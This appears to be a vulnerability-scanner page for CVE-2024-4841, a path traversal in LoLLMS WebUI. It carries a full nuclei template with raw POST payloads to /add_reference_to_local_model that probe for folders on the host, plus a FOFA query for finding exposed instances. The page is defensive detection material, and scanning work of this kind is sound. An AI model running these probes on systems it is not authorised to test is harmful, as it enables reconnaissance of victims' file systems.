LoLLMS WebUI - Subfolder Prediction via Path Traversal

mediumseverity

4CVSS score

0.7%likelihood of exploitation, next 30 days

52%of all CVEs are less likely

Readycheck to confirm it

A Path Traversal vulnerability exists in the parisneo/lollms-webui, specifically within the 'add_reference_to_local_mode' function due to the lack of input sanitization. This vulnerability affects versions v9.6 to the latest.

Impact

By exploiting this vulnerability, an attacker can predict the folders, subfolders, and files present on the victim's computer. The vulnerability is present in the way the application handles the 'path' parameter in HTTP requests to the '/add_reference_to_local_model' endpoint.

Fix

Apply the latest security patches and updates from the vendor to address this vulnerability.

How to confirm it

Send: POST /add_reference_to_local_model
Positive when: contains(body, "{\"status\":true}") and contains(content_type,"application/json") and status_code == 200
Send: POST /add_reference_to_local_model
Positive when: contains(body, "{\"status\":false,\"error\":\"Model not found\"}") and contains(content_type,"application/json") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-4841 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-4841

info:
  name: LoLLMS WebUI - Subfolder Prediction via Path Traversal
  author: s4e-io
  severity: medium
  description: |
    A Path Traversal vulnerability exists in the parisneo/lollms-webui, specifically within the 'add_reference_to_local_mode' function due to the lack of input sanitization. This vulnerability affects versions v9.6 to the latest.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    By exploiting this vulnerability, an attacker can predict the folders, subfolders, and files present on the victim's computer. The vulnerability is present in the way the application handles the 'path' parameter in HTTP requests to the '/add_reference_to_local_model' endpoint.
  reference:
    - https://huntr.com/bounties/740dda3e-7104-4ccf-9ac4-8870e4d6d602
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4841
  classification:
    cvss-metrics: CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 4
    cve-id: CVE-2024-4841
    cwe-id: CWE-29
    epss-score: 0.00668
    epss-percentile: 0.52256
  metadata:
    max-request: 1
    fofa-query: "LoLLMS WebUI - Welcome"
  tags: cve,cve2024,lollms-webui,traversal,vuln,ai,vkev

variables:
  folder: "{{to_upper(rand_text_alpha(10))}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /add_reference_to_local_model HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"path":"\\Users"}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "{\"status\":true}")'
          - 'contains(content_type,"application/json")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /add_reference_to_local_model HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"path":"\\{{folder}}"}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "{\"status\":false,\"error\":\"Model not found\"}")'
          - 'contains(content_type,"application/json")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from